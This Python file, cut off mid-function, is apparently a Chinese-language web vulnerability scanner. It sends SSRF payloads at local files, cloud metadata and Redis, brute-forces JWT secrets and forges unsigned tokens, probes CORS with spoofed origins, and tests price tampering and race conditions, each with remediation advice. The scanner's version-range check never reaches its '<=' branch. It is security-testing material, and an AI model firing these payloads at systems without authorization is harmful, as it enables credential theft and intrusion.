
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Advanced Web Vulnerability Scanner Pro v2.0
高级Web漏洞扫描系统 - 企业级安全检测平台
Kali Linux 原生集成版

功能模块:
- SSRF漏洞检测
- JWT安全检测
- CORS配置错误检测
- 第三方组件漏洞扫描
- 业务逻辑漏洞检测

作者: 薛克楠
版本: 2.0.0
更新: 2024-01-20

法律声明: 仅限授权安全测试使用
"""

import sys
import os
import time
import json
import asyncio
import re
import hashlib
import hmac
import base64
import threading
import warnings
import argparse
from datetime import datetime
from typing import Dict, List, Optional, Any, Tuple
from pathlib import Path
from urllib.parse import urlparse, urljoin, parse_qs
from concurrent.futures import ThreadPoolExecutor, as_completed
from collections import defaultdict

warnings.filterwarnings('ignore')

# ==================== 依赖检查 ====================
DEPENDENCIES = {
    'PyQt5': False,
    'rich': False,
    'requests': False,
    'jwt': False,
    'aiohttp': False,
    'packaging': False,
    'yaml': False
}

try:
    from PyQt5.QtWidgets import (
        QApplication, QMainWindow, QWidget, QVBoxLayout, 
        QHBoxLayout, QLabel, QLineEdit, QPushButton, 
        QTextEdit, QProgressBar, QComboBox, QFileDialog, 
        QMessageBox, QTableWidget, QTableWidgetItem, 
        QHeaderView, QSplitter, QPlainTextEdit, QCheckBox,
        QGroupBox, QTabWidget, QTextBrowser, QStatusBar,
        QSpinBox, QListWidget
    )
    from PyQt5.QtCore import pyqtSignal, QObject, Qt, QThread, QTimer
    from PyQt5.QtGui import QColor, QFont, QTextCursor
    DEPENDENCIES['PyQt5'] = True
except ImportError:
    print("[-] PyQt5 未安装，GUI 模式不可用")

try:
    from rich.console import Console
    from rich.table import Table
    from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn
    from rich.panel import Panel
    from rich.live import Live
    DEPENDENCIES['rich'] = True
except ImportError:
    print("[-] Rich 库未安装")

try:
    import requests
    from requests.adapters import HTTPAdapter
    from requests.packages.urllib3.util.retry import Retry
    DEPENDENCIES['requests'] = True
except ImportError:
    print("[-] requests 未安装")

try:
    import jwt
    DEPENDENCIES['jwt'] = True
except ImportError:
    print("[-] PyJWT 未安装")

try:
    import aiohttp
    DEPENDENCIES['aiohttp'] = True
except ImportError:
    print("[-] aiohttp 未安装")

try:
    from packaging import version
    DEPENDENCIES['packaging'] = True
except ImportError:
    print("[-] packaging 未安装")

try:
    import yaml
    DEPENDENCIES['yaml'] = True
except ImportError:
    print("[-] PyYAML 未安装")

# ==================== 配置管理器 ====================
class ConfigManager:
    """配置管理器"""
  
    DEFAULT_CONFIG = {
        "scanner": {
            "timeout": 10,
            "max_threads": 20,
            "retry_count": 3,
            "user_agent": "AdvancedVulnScanner/2.0 (Kali Linux; Security Testing)"
        },
        "ssrf": {
            "enabled": True,
            "callback_server": "your-callback-server.com",
            "test_internal_ips": True,
            "protocols": ["http", "https", "file", "gopher", "dict"]
        },
        "jwt": {
            "enabled": True,
            "test_weak_secrets": True,
            "test_algorithm_confusion": True,
            "weak_secrets": [
                "secret", "password", "123456", "key", "jwt",
                "admin", "token", "changeme", "default"
            ]
        },
        "cors": {
            "enabled": True,
            "test_origins": [
                "https://attacker.com",
                "http://localhost",
                "null"
            ]
        },
        "component": {
            "enabled": True,
            "check_jquery": True,
            "check_react": True,
            "check_angular": True,
            "check_vue": True,
            "check_bootstrap": True
        },
        "business_logic": {
            "enabled": True,
            "test_price_manipulation": True,
            "test_race_condition": True,
            "concurrent_requests": 10
        },
        "output": {
            "save_reports": True,
            "report_format": "html",
            "output_dir": "~/vuln_scanner_reports"
        }
    }

    def __init__(self, config_path: str = "~/.vulnscanner/config.yaml"):
        self.config_path = Path(config_path).expanduser()
        self.config = self._load_config()

    def _load_config(self) -> Dict[str, Any]:
        """加载配置"""
        if not self.config_path.exists():
            self.config_path.parent.mkdir(parents=True, exist_ok=True)
            self._save_config(self.DEFAULT_CONFIG)
            return self.DEFAULT_CONFIG.copy()

        try:
            with open(self.config_path, 'r', encoding='utf-8') as f:
                if self.config_path.suffix in ['.yaml', '.yml'] and DEPENDENCIES['yaml']:
                    loaded = yaml.safe_load(f) or {}
                else:
                    loaded = json.load(f)
            return self._merge_configs(self.DEFAULT_CONFIG, loaded)
        except Exception as e:
            print(f"[!] 配置加载失败: {e}")
            return self.DEFAULT_CONFIG.copy()

    def _merge_configs(self, default: Dict, loaded: Dict) -> Dict:
        """合并配置"""
        result = default.copy()
        for key, value in loaded.items():
            if key in result and isinstance(result[key], dict) and isinstance(value, dict):
                result[key] = self._merge_configs(result[key], value)
            else:
                result[key] = value
        return result

    def _save_config(self, config: Dict[str, Any]):
        """保存配置"""
        try:
            self.config_path.parent.mkdir(parents=True, exist_ok=True)
            with open(self.config_path, 'w', encoding='utf-8') as f:
                if self.config_path.suffix in ['.yaml', '.yml'] and DEPENDENCIES['yaml']:
                    yaml.dump(config, f, default_flow_style=False, indent=2, allow_unicode=True)
                else:
                    json.dump(config, f, indent=2, ensure_ascii=False)
        except Exception as e:
            print(f"[!] 配置保存失败: {e}")

    def get(self, key: str, default: Any = None) -> Any:
        """获取配置值"""
        keys = key.split('.')
        value = self.config
        try:
            for k in keys:
                value = value[k]
            return value
        except (KeyError, TypeError):
            return default

    def set(self, key: str, value: Any, save: bool = True):
        """设置配置值"""
        keys = key.split('.')
        config = self.config
        for k in keys[:-1]:
            config = config.setdefault(k, {})
        config[keys[-1]] = value
      
        if save:
            self._save_config(self.config)

# ==================== 漏洞对象 ====================
class Vulnerability:
    """漏洞对象"""
  
    RISK_LEVELS = {
        "CRITICAL": {"score": 10.0, "color": "#dc3545", "description": "严重风险"},
        "HIGH": {"score": 8.0, "color": "#fd7e14", "description": "高风险"},
        "MEDIUM": {"score": 5.0, "color": "#ffc107", "description": "中等风险"},
        "LOW": {"score": 3.0, "color": "#28a745", "description": "低风险"},
        "INFO": {"score": 0.0, "color": "#6c757d", "description": "信息性"}
    }

    def __init__(self, vuln_type: str, name: str, description: str, 
                 severity: str, evidence: str, remediation: str = "",
                 details: Optional[Dict[str, Any]] = None):
        self.type = vuln_type
        self.name = name
        self.description = description
        self.severity = severity
        self.evidence = evidence
        self.remediation = remediation
        self.details = details or {}
        self.timestamp = datetime.now()
        self.risk_score = self._calculate_risk_score()

    def _calculate_risk_score(self) -> float:
        """计算风险评分"""
        return self.RISK_LEVELS.get(self.severity, {}).get("score", 0.0)

    def to_dict(self) -> Dict[str, Any]:
        """转换为字典"""
        return {
            "type": self.type,
            "name": self.name,
            "description": self.description,
            "severity": self.severity,
            "evidence": self.evidence,
            "remediation": self.remediation,
            "risk_score": self.risk_score,
            "timestamp": self.timestamp.isoformat(),
            "details": self.details
        }

# ==================== SSRF检测器 ====================
class SSRFTester:
    """SSRF漏洞检测器"""
  
    def __init__(self, config: ConfigManager):
        self.config = config
        self.callback_server = config.get("ssrf.callback_server", "your-callback-server.com")
        self.session = self._create_session()
        self.vulnerabilities = []

    def _create_session(self):
        """创建HTTP会话"""
        session = requests.Session()
        retry = Retry(total=3, backoff_factor=0.3)
        adapter = HTTPAdapter(max_retries=retry)
        session.mount('http://', adapter)
        session.mount('https://', adapter)
        session.headers.update({
            'User-Agent': self.config.get("scanner.user_agent")
        })
        return session

    def test(self, target_url: str, parameters: List[str], callback=None) -> List[Vulnerability]:
        """测试SSRF漏洞"""
        self.vulnerabilities = []
      
        if callback:
            callback("开始SSRF漏洞检测...")
      
        payloads = self._generate_payloads()
      
        for param_name in parameters:
            if callback:
                callback(f"测试参数: {param_name}")
          
            for payload_type, payload in payloads:
                try:
                    data = {param_name: payload}
                    response = self.session.post(
                        target_url, 
                        data=data, 
                        timeout=self.config.get("scanner.timeout", 10),
                        allow_redirects=False
                    )
                  
                    if self._check_ssrf_indications(response, payload_type):
                        vuln = Vulnerability(
                            vuln_type="SSRF",
                            name=f"SSRF漏洞 - {param_name}",
                            description=f"参数 {param_name} 存在服务器端请求伪造(SSRF)漏洞",
                            severity="HIGH",
                            evidence=f"Payload: {payload}\nResponse: {response.text[:200]}",
                            remediation=self._get_ssrf_remediation(),
                            details={
                                "parameter": param_name,
                                "payload": payload,
                                "payload_type": payload_type,
                                "status_code": response.status_code,
                                "response_length": len(response.text)
                            }
                        )
                        self.vulnerabilities.append(vuln)
                      
                        if callback:
                            callback(f"发现SSRF漏洞: {param_name}")
              
                except requests.exceptions.RequestException as e:
                    # 超时或连接错误可能也是SSRF的迹象
                    if "Connection refused" in str(e) or "timeout" in str(e).lower():
                        vuln = Vulnerability(
                            vuln_type="SSRF",
                            name=f"可能的SSRF漏洞 - {param_name}",
                            description=f"参数 {param_name} 可能存在SSRF漏洞（连接异常）",
                            severity="MEDIUM",
                            evidence=f"Payload: {payload}\nError: {str(e)}",
                            remediation=self._get_ssrf_remediation(),
                            details={
                                "parameter": param_name,
                                "payload": payload,
                                "error": str(e)
                            }
                        )
                        self.vulnerabilities.append(vuln)
      
        return self.vulnerabilities

    def _generate_payloads(self) -> List[Tuple[str, str]]:
        """生成SSRF测试载荷"""
        payloads = []
      
        # 外部回调服务器
        payloads.append(("callback", f"http://{self.callback_server}/ssrf-test"))
      
        # 内网地址
        if self.config.get("ssrf.test_internal_ips", True):
            internal_targets = [
                "http://127.0.0.1:22",
                "http://127.0.0.1:80",
                "http://127.0.0.1:3306",
                "http://127.0.0.1:6379",
                "http://localhost:8080",
                "http://169.254.169.254/latest/meta-data/",  # AWS元数据
                "http://metadata.google.internal/computeMetadata/v1/"  # GCP元数据
            ]
            for target in internal_targets:
                payloads.append(("internal", target))
      
        # 文件协议
        if "file" in self.config.get("ssrf.protocols", []):
            payloads.extend([
                ("file", "file:///etc/passwd"),
                ("file", "file:///c:/windows/system32/drivers/etc/hosts")
            ])
      
        # Gopher协议
        if "gopher" in self.config.get("ssrf.protocols", []):
            payloads.append(("gopher", "gopher://127.0.0.1:6379/_INFO"))
      
        # Dict协议
        if "dict" in self.config.get("ssrf.protocols", []):
            payloads.append(("dict", "dict://127.0.0.1:22"))
      
        return payloads

    def _check_ssrf_indications(self, response, payload_type: str) -> bool:
        """检查SSRF迹象"""
        indicators = {
            "callback": ["Connection established", "200 OK"],
            "internal": ["Connection refused", "Could not connect", "timeout"],
            "file": ["root:", "file content", "Permission denied"],
            "gopher": ["Redis", "INFO", "version"],
            "dict": ["220", "SSH"]
        }
      
        response_text = response.text.lower()
      
        for indicator in indicators.get(payload_type, []):
            if indicator.lower() in response_text:
                return True
      
        # 检查响应时间异常
        if hasattr(response, 'elapsed'):
            if response.elapsed.total_seconds() > 5:
                return True
      
        return False

    def _get_ssrf_remediation(self) -> str:
        """获取SSRF修复建议"""
        return """
修复建议:
1. 实施URL白名单验证
2. 禁止访问内网IP地址
3. 禁用危险协议(file://, gopher://, dict://)
4. 使用DNS解析白名单
5. 实施请求签名验证

代码示例:
```python
from urllib.parse import urlparse
import ipaddress

def validate_url(url):
    parsed = urlparse(url)
  
    # 只允许HTTP/HTTPS
    if parsed.scheme not in ['http', 'https']:
        raise ValueError("Invalid protocol")
  
    # 解析IP地址
    try:
        ip = ipaddress.ip_address(parsed.hostname)
        if ip.is_private or ip.is_loopback:
            raise ValueError("Private IP not allowed")
    except ValueError:
        pass  # 域名
  
    # 白名单验证
    allowed_domains = ['api.example.com']
    if parsed.hostname not in allowed_domains:
        raise ValueError("Domain not in whitelist")
  
    return True
```
"""

# ==================== JWT检测器 ====================
class JWTTester:
    """JWT安全检测器"""
  
    def __init__(self, config: ConfigManager):
        self.config = config
        self.vulnerabilities = []

    def test(self, token: str, target_url: str, callback=None) -> List[Vulnerability]:
        """测试JWT安全性"""
        self.vulnerabilities = []
      
        if callback:
            callback("开始JWT安全检测...")
      
        # 测试弱密钥
        if self.config.get("jwt.test_weak_secrets", True):
            if callback:
                callback("测试JWT弱密钥...")
            weak_secret_result = self._test_weak_secrets(token)
            if weak_secret_result['vulnerable']:
                vuln = Vulnerability(
                    vuln_type="JWT_WEAK_SECRET",
                    name="JWT弱密钥",
                    description="JWT使用弱密钥签名，可被暴力破解",
                    severity="CRITICAL",
                    evidence=f"发现弱密钥: {weak_secret_result['secret']}",
                    remediation=self._get_jwt_remediation(),
                    details=weak_secret_result
                )
                self.vulnerabilities.append(vuln)
      
        # 测试算法混淆
        if self.config.get("jwt.test_algorithm_confusion", True):
            if callback:
                callback("测试JWT算法混淆...")
            algo_result = self._test_algorithm_confusion(token, target_url)
            if algo_result['vulnerable']:
                vuln = Vulnerability(
                    vuln_type="JWT_ALGORITHM_CONFUSION",
                    name="JWT算法混淆",
                    description="JWT存在算法混淆漏洞，可绕过签名验证",
                    severity="CRITICAL",
                    evidence=f"攻击类型: {algo_result['attack']}",
                    remediation=self._get_jwt_remediation(),
                    details=algo_result
                )
                self.vulnerabilities.append(vuln)
      
        # 测试敏感信息泄露
        if callback:
            callback("检查JWT敏感信息...")
        sensitive_result = self._check_sensitive_data(token)
        if sensitive_result['vulnerable']:
            vuln = Vulnerability(
                vuln_type="JWT_SENSITIVE_DATA",
                name="JWT敏感信息泄露",
                description="JWT载荷包含敏感信息",
                severity="MEDIUM",
                evidence=f"发现敏感字段: {', '.join(sensitive_result['fields'])}",
                remediation="不要在JWT中存储敏感信息，JWT载荷是Base64编码可轻易解码",
                details=sensitive_result
            )
            self.vulnerabilities.append(vuln)
      
        return self.vulnerabilities

    def _test_weak_secrets(self, token: str) -> Dict[str, Any]:
        """测试弱密钥"""
        weak_secrets = self.config.get("jwt.weak_secrets", [])
      
        # 生成变体
        extended_secrets = []
        for secret in weak_secrets:
            extended_secrets.extend([
                secret,
                secret.upper(),
                secret.lower(),
                secret + "123",
                secret * 2,
                "123" + secret
            ])
      
        for secret in extended_secrets:
            try:
                decoded = jwt.decode(token, secret, algorithms=['HS256'])
                return {
                    'vulnerable': True,
                    'secret': secret,
                    'decoded': decoded
                }
            except jwt.InvalidTokenError:
                continue
      
        return {'vulnerable': False}

    def _test_algorithm_confusion(self, token: str, target_url: str) -> Dict[str, Any]:
        """测试算法混淆攻击"""
        try:
            # 解码不验证签名
            payload = jwt.decode(token, options={"verify_signature": False})
          
            # 测试none算法
            try:
                none_token = jwt.encode(payload, key='', algorithm='none')
              
                # 移除签名部分
                parts = none_token.split('.')
                if len(parts) == 3:
                    none_token = f"{parts[0]}.{parts[1]}."
              
                # 测试是否被接受
                response = requests.get(
                    target_url,
                    headers={'Authorization': f'Bearer {none_token}'},
                    timeout=5
                )
              
                if response.status_code == 200:
                    return {
                        'vulnerable': True,
                        'attack': 'none_algorithm',
                        'token': none_token
                    }
            except Exception as e:
                pass
          
            # 测试HS256/RS256混淆
            # 如果原始使用RS256，尝试用公钥作为HS256密钥
            header = jwt.get_unverified_header(token)
            if header.get('alg') == 'RS256':
                # 这需要获取公钥，实际场景中可能从jwks_uri获取
                return {
                    'vulnerable': False,
                    'note': 'RS256算法，需要公钥进行进一步测试'
                }
      
        except Exception as e:
            pass
      
        return {'vulnerable': False}

    def _check_sensitive_data(self, token: str) -> Dict[str, Any]:
        """检查JWT中的敏感信息"""
        try:
            payload = jwt.decode(token, options={"verify_signature": False})
          
            sensitive_fields = []
            sensitive_keywords = [
                'password', 'secret', 'api_key', 'token',
                'ssn', 'credit_card', 'private_key'
            ]
          
            for key, value in payload.items():
                key_lower = key.lower()
                for keyword in sensitive_keywords:
                    if keyword in key_lower:
                        sensitive_fields.append(key)
                        break
          
            if sensitive_fields:
                return {
                    'vulnerable': True,
                    'fields': sensitive_fields,
                    'payload': payload
                }
      
        except Exception as e:
            pass
      
        return {'vulnerable': False}

    def _get_jwt_remediation(self) -> str:
        """获取JWT修复建议"""
        return """
修复建议:
1. 使用强密钥（至少256位随机字符串）
2. 强制指定算法，不要使用'none'
3. 不在JWT中存储敏感信息
4. 实施短期有效期和刷新令牌机制
5. 使用RS256而非HS256（公钥加密）

代码示例:
```python
import jwt
import secrets
from datetime import datetime, timedelta

# 生成强密钥
SECRET_KEY = secrets.token_urlsafe(32)

def create_token(user_id):
    payload = {
        'user_id': user_id,
        'exp': datetime.utcnow() + timedelta(hours=1),
        'iat': datetime.utcnow()
    }
    return jwt.encode(payload, SECRET_KEY, algorithm='HS256')

def verify_token(token):
    try:
        payload = jwt.decode(
            token, 
            SECRET_KEY, 
            algorithms=['HS256']  # 强制指定算法
        )
        return payload
    except jwt.InvalidTokenError:
        return None
```
"""

# ==================== CORS检测器 ====================
class CORSTester:
    """CORS配置错误检测器"""
  
    def __init__(self, config: ConfigManager):
        self.config = config
        self.session = requests.Session()
        self.vulnerabilities = []

    def test(self, base_url: str, endpoints: List[str], callback=None) -> List[Vulnerability]:
        """测试CORS配置"""
        self.vulnerabilities = []
      
        if callback:
            callback("开始CORS配置检测...")
      
        test_origins = self.config.get("cors.test_origins", [])
      
        # 添加反射Origin测试
        parsed_url = urlparse(base_url)
        test_origins.append(f"{parsed_url.scheme}://{parsed_url.netloc}.attacker.com")
      
        for endpoint in endpoints:
            if callback:
                callback(f"测试端点: {endpoint}")
          
            full_url = urljoin(base_url, endpoint)
          
            for origin in test_origins:
                try:
                    headers = {'Origin': origin}
                  
                    # OPTIONS预检请求
                    response = self.session.options(full_url, headers=headers, timeout=5)
                  
                    cors_header = response.headers.get('Access-Control-Allow-Origin', '')
                    credentials = response.headers.get('Access-Control-Allow-Credentials', '')
                    methods = response.headers.get('Access-Control-Allow-Methods', '')
                  
                    if self._is_vulnerable_cors(cors_header, credentials, origin):
                        severity = "HIGH" if credentials.lower() == 'true' else "MEDIUM"
                      
                        vuln = Vulnerability(
                            vuln_type="CORS_MISCONFIGURATION",
                            name=f"CORS配置错误 - {endpoint}",
                            description="CORS配置不当，可能导致跨域数据泄露",
                            severity=severity,
                            evidence=f"Origin: {origin}\nCORS Header: {cors_header}\nCredentials: {credentials}",
                            remediation=self._get_cors_remediation(),
                            details={
                                "endpoint": endpoint,
                                "origin": origin,
                                "cors_header": cors_header,
                                "credentials": credentials,
                                "methods": methods
                            }
                        )
                        self.vulnerabilities.append(vuln)
                      
                        if callback:
                            callback(f"发现CORS漏洞: {endpoint}")
              
                except requests.exceptions.RequestException:
                    continue
      
        return self.vulnerabilities

    def _is_vulnerable_cors(self, cors_header: str, credentials: str, test_origin: str) -> bool:
        """判断CORS配置是否脆弱"""
        # 最危险：通配符+凭据
        if cors_header == '*' and credentials.lower() == 'true':
            return True
      
        # 反射Origin+凭据
        if cors_header == test_origin and credentials.lower() == 'true':
            return True
      
        # 允许null Origin
        if 'null' in cors_header.lower() and credentials.lower() == 'true':
            return True
      
        # 正则匹配不当
        if '.attacker.com' in test_origin and test_origin in cors_header:
            return True
      
        return False

    def _get_cors_remediation(self) -> str:
        """获取CORS修复建议"""
        return """
修复建议:
1. 不要使用通配符(*)配合Access-Control-Allow-Credentials
2. 实施严格的Origin白名单验证
3. 避免反射Origin头
4. 不要信任null Origin
5. 使用正则表达式时要精确匹配

代码示例:
```python
from flask import Flask, request, jsonify

app = Flask(__name__)

ALLOWED_ORIGINS = [
    'https://trusted-domain.com',
    'https://app.trusted-domain.com'
]

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
  
    # 严格白名单验证
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Access-Control-Allow-Methods'] = 'GET, POST'
        response.headers['Access-Control-Allow-Headers'] = 'Content-Type'
  
    return response
```
"""

# ==================== 组件漏洞扫描器 ====================
class ComponentVulnerabilityScanner:
    """第三方组件漏洞扫描器"""
  
    def __init__(self, config: ConfigManager):
        self.config = config
        self.vulnerabilities = []
        self.known_vulnerabilities = self._load_vulnerability_database()

    def _load_vulnerability_database(self) -> Dict[str, List[Dict]]:
        """加载漏洞数据库"""
        # 简化版漏洞数据库
        return {
            'jquery': [
                {'versions': ['<1.12.0', '<2.2.0', '<3.0.0'], 'cve': 'CVE-2015-9251', 'severity': 'MEDIUM'},
                {'versions': ['<3.4.0'], 'cve': 'CVE-2019-11358', 'severity': 'MEDIUM'},
                {'versions': ['<3.5.0'], 'cve': 'CVE-2020-11022', 'severity': 'MEDIUM'}
            ],
            'react': [
                {'versions': ['<16.4.2'], 'cve': 'CVE-2018-6341', 'severity': 'HIGH'}
            ],
            'angular': [
                {'versions': ['<1.5.0'], 'cve': 'CVE-2019-10768', 'severity': 'HIGH'}
            ],
            'bootstrap': [
                {'versions': ['<3.4.0', '<4.3.1'], 'cve': 'CVE-2019-8331', 'severity': 'MEDIUM'}
            ]
        }

    def test(self, target_url: str, callback=None) -> List[Vulnerability]:
        """扫描组件漏洞"""
        self.vulnerabilities = []
      
        if callback:
            callback("开始组件漏洞扫描...")
      
        try:
            response = requests.get(target_url, timeout=10)
            html_content = response.text
          
            # 提取组件信息
            components = self._extract_components(html_content)
          
            if callback:
                callback(f"发现 {len(components)} 个组件")
          
            # 检查漏洞
            for component_name, version_str in components.items():
                if callback:
                    callback(f"检查组件: {component_name} v{version_str}")
              
                vulns = self._check_vulnerabilities(component_name, version_str)
              
                for vuln_info in vulns:
                    vuln = Vulnerability(
                        vuln_type="COMPONENT_VULNERABILITY",
                        name=f"{component_name}组件漏洞 - {vuln_info['cve']}",
                        description=f"{component_name} v{version_str} 存在已知漏洞",
                        severity=vuln_info['severity'],
                        evidence=f"组件: {component_name}\n版本: {version_str}\nCVE: {vuln_info['cve']}",
                        remediation=f"升级{component_name}到安全版本",
                        details={
                            "component": component_name,
                            "version": version_str,
                            "cve": vuln_info['cve'],
                            "affected_versions": vuln_info['versions']
                        }
                    )
                    self.vulnerabilities.append(vuln)
      
        except Exception as e:
            if callback:
                callback(f"扫描异常: {str(e)}")
      
        return self.vulnerabilities

    def _extract_components(self, html_content: str) -> Dict[str, str]:
        """从HTML中提取组件信息"""
        components = {}
      
        patterns = {
            'jquery': r'jquery[.-](\d+\.\d+\.\d+)',
            'react': r'react[.-](\d+\.\d+\.\d+)',
            'angular': r'angular[.-](\d+\.\d+\.\d+)',
            'vue': r'vue[.-](\d+\.\d+\.\d+)',
            'bootstrap': r'bootstrap[.-](\d+\.\d+\.\d+)'
        }
      
        for component, pattern in patterns.items():
            if not self.config.get(f"component.check_{component}", True):
                continue
          
            match = re.search(pattern, html_content, re.IGNORECASE)
            if match:
                components[component] = match.group(1)
      
        return components

    def _check_vulnerabilities(self, component_name: str, version_str: str) -> List[Dict]:
        """检查组件漏洞"""
        vulnerabilities = []
      
        if component_name not in self.known_vulnerabilities:
            return vulnerabilities
      
        try:
            current_version = version.parse(version_str)
          
            for vuln in self.known_vulnerabilities[component_name]:
                for version_range in vuln['versions']:
                    if self._version_matches(current_version, version_range):
                        vulnerabilities.append(vuln)
                        break
      
        except Exception:
            pass
      
        return vulnerabilities

    def _version_matches(self, current_version, version_range: str) -> bool:
        """检查版本是否匹配"""
        try:
            if version_range.startswith('<'):
                target_version = version.parse(version_range[1:])
                return current_version < target_version
            elif version_range.startswith('<='):
                target_version = version.parse(version_range[2:])
                return current_version <= target_version
            elif version_range.startswith('>'):
                target_version = version.parse(version_range[1:])
                return current_version > target_version
            elif version_range.startswith('>='):
                target_version = version.parse(version_range[2:])
                return current_version >= target_version
            else:
                target_version = version.parse(version_range)
                return current_version == target_version
        except:
            return False

# ==================== 业务逻辑检测器 ====================
class BusinessLogicTester:
    """业务逻辑漏洞检测器"""
  
    def __init__(self, config: ConfigManager):
        self.config = config
        self.session = requests.Session()
        self.vulnerabilities = []

    def test(self, base_url: str, auth_token: str = "", callback=None) -> List[Vulnerability]:
        """测试业务逻辑漏洞"""
        self.vulnerabilities = []
      
        if auth_token:
            self.session.headers.update({'Authorization': f'Bearer {auth_token}'})
      
        if callback:
            callback("开始业务逻辑漏洞检测...")
      
        # 测试价格篡改
        if self.config.get("business_logic.test_price_manipulation", True):
            if callback:
                callback("测试价格篡改漏洞...")
            # 这里需要具体的订单端点和产品数据
            # price_result = self._test_price_manipulation(base_url)
      
        # 测试竞争条件
        if self.config.get("business_logic.test_race_condition", True):
            if callback:
                callback("测试竞争条件漏洞...")
            # race_result = self._test_race_condition(base_url)
      
        return self.vulnerabilities

    def test_price_manipulation(self, order_endpoint: str, product_data: Dict, callback=None) -> Dict[str, Any]:
        """测试价格篡改"""
        original_price = product_data.get('price', 0)
      
        test_prices = [0.01, -100, original_price / 2, 999999, 0]
      
        for test_price in test_prices:
            product_data['price'] = test_price
          
            try:
                response = self.session.post(order_endpoint, json=product_data, timeout=5)
              
                if response.status_code == 200:
                    order_response = response.json()
                    actual_charge = order_response.get('total_amount', order_response.get('price', 0))
                  
                    if actual_charge == test_price or abs(actual_charge - test_price) < 0.01:
                        vuln = Vulnerability(
                            vuln_type="PRICE_MANIPULATION",
                            name="价格篡改漏洞",
                            description="订单价格可被客户端篡改",
                            severity="CRITICAL",
                            evidence=f"原始价格: {original_price}, 篡改价格: {test_price}, 实际扣费: {actual_charge}",
                            remediation=self._get_price_remediation(),
                            details={
                                "original_price": original_price,
                                "manipulated_price": test_price,
                                "actual_charge": actual_charge
                            }
                        )
                        self.vulnerabilities.append(vuln)
                      
                        if callback:
                            callback(f"发现价格篡改漏洞")
                      
                        return {'vulnerable': True}
          
            except Exception:
                continue
      
        return {'vulnerable': False}

    def test_race_condition(self, endpoint: str, callback=None) -> Dict[str, Any]:
        """测试竞争条件"""
        concurrent_requests = self.config.get("business_logic.concurrent_requests", 10)
      
        results = []
        errors = []
      
        def make_request():
            try:
                response = self.session.post(endpoint, timeout=5)
                results.append(response.status_code)
            except Exception as e:
                errors.append(str(e))
      
        # 并发发送请求
        threads = []
        for _ in range(concurrent_requests):
            thread = threading.Thread(target=make_request)
            threads.append(thread)
            thread.start()
      
        for thread in threads:
            thread.join()
      
        # 分析结果
        successful_requests = len([r for r in results if r == 200])
      
        if successful_requests > 1:
            vuln = Vulnerability(
                vuln_type="RACE_CONDITION",
                name="竞争条件漏洞",
                description="存在竞争条件，可能导致资源被重复消费",
                severity="HIGH",
                evidence=f"并发请求: {concurrent_requests}, 成功请求: {successful_requests}",
                remediation=self._get_race_condition_remediation(),
                details={
                    "concurrent_requests": concurrent_requests,
                    "successful_requests": successful_requests,
                    "total_requests": len(results)
                }
            )
            self.vulnerabilities.append(vuln)
          
            if callback:
                callback(f"发现竞争条件漏洞")
          
            return {'vulnerable': True}
      
        return {'vulnerable': False}

    def _get_price_remediation(self) -> str:
        """价格篡改修复建议"""
        return """
修复建议:
1. 价格必须在服务器端计算，不信任客户端传入的价格
2. 使用产品ID查询数据库获取价格
3. 实施订单签名验证
4. 记录价格变更审计日志

代码示例:
```python
@app.route('/api/order', methods=['POST'])
def create_order():
    data = request.get_json()
    product_id = data.get('product_id')
    quantity = data.get('quantity', 1)
  
    # 从数据库获取真实价格
    product = db.query(Product).filter_by(id=product_id).first()
    if not product:
        return {'error': 'Product not found'}, 404
  
    # 服务器端计算总价
    total_amount = product.price * quantity
  
    # 创建订单
    order = Order(
        product_id=product_id,
        quantity=quantity,
        unit_price=product.price,
        total_amount=total_amount
    )
    db.add(order)
    db.commit()
  
    return {'order_id': order.id, 'total_amount': total_amount}
```
"""

    def _get_race_condition_remediation(self) -> str:
        """竞争条件修复建议"""
        return """
修复建议:
1. 使用数据库事务和行锁
2. 实施分布式锁（Redis）
3. 使用幂等性令牌
4. 实施请求去重机制

代码示例:
```python
from redis import Redis
import uuid

redis_client = Redis()

@app.route('/api/consume', methods=['POST'])
def consume_resource():
    user_id = request.user_id
  
    # 使用Redis分布式锁
    lock_key = f"lock:consume:{user_id}"
    lock_id = str(uuid.uuid4())
  
    # 尝试获取锁，超时5秒
    if redis_client.set(lock_key, lock_id, nx=True, ex=5):
        try:
            # 检查资源是否已消费
            if redis_client.get(f"consumed:{user_id}"):
                return {'error': 'Already consumed'}, 400
          
            # 消费资源
            consume_user_resource(user_id)
          
            # 标记已消费
            redis_client.set(f"consumed:{user_id}", "1", ex=86400)
          
            return {'success': True}
        finally:
            # 释放锁
            if redis_client.get(lock_key) == lock_id:
                redis_client.delete(lock_key)
    else:
        return {'error': 'Request in progress'}, 429
```
"""

# ==================== 扫描引擎 ====================
class VulnerabilityScanner:
    """漏洞扫描引擎"""
  
    def __init__(self, config: ConfigManager):
        self.config = config
        self.ssrf_tester = SSRFTester(config)
        self.jwt_tester = JWTTester(config)
        self.cors_tester = CORSTester(config)
        self.component_scanner = ComponentVulnerabilityScanner(config)
        self.business_tester = BusinessLogicTester(config)
        self.all_vulnerabilities = []

    def scan(self, scan_config: Dict[str, Any], callback=None) -> List[Vulnerability]:
        """执行扫描"""
        self.all_vulnerabilities = []
      
        target_url = scan_config.get('target_url')
      
        if callback:
            callback("初始化扫描引擎...")
      
        # SSRF检测
        if self.config.get("ssrf.enabled", True) and scan_config.get('test_ssrf'):
            parameters = scan_config.get('ssrf_parameters', [])
            if parameters:
                vulns = self.ssrf_tester.test(target_url, parameters, callback)
                self.all_vulnerabilities.extend(vulns)
      
        # JWT检测
        if self.config.get("jwt.enabled", True) and scan_config.get('test_jwt'):
            jwt_token = scan_config.get('jwt_token')
            if jwt_token:
                vulns = self.jwt_tester.test(jwt_token, target_url, callback)
                self.all_vulnerabilities.extend(vulns)
      
        # CORS检测
        if self.config.get("cors.enabled", True) and scan_config.get('test_cors'):
            endpoints = scan_config.get('cors_endpoints', [])
            if endpoints:
                vulns = self.cors_tester.test(target_url, endpoints, callback)
                self.all_vulnerabilities.extend(vulns)
      
        # 组件漏洞扫描
        if self.config.get("component.enabled", True) and scan_config.get('test_components'):
            vulns = self.component_scanner.test(target_url, callback)
            self.all_vulnerabilities.extend(vulns)
      
        # 业务逻辑检测
        if self.config.get("business_logic.enabled", True) and scan_config.get('test_business_logic'):
            auth_token = scan_config.get('auth_token', '')
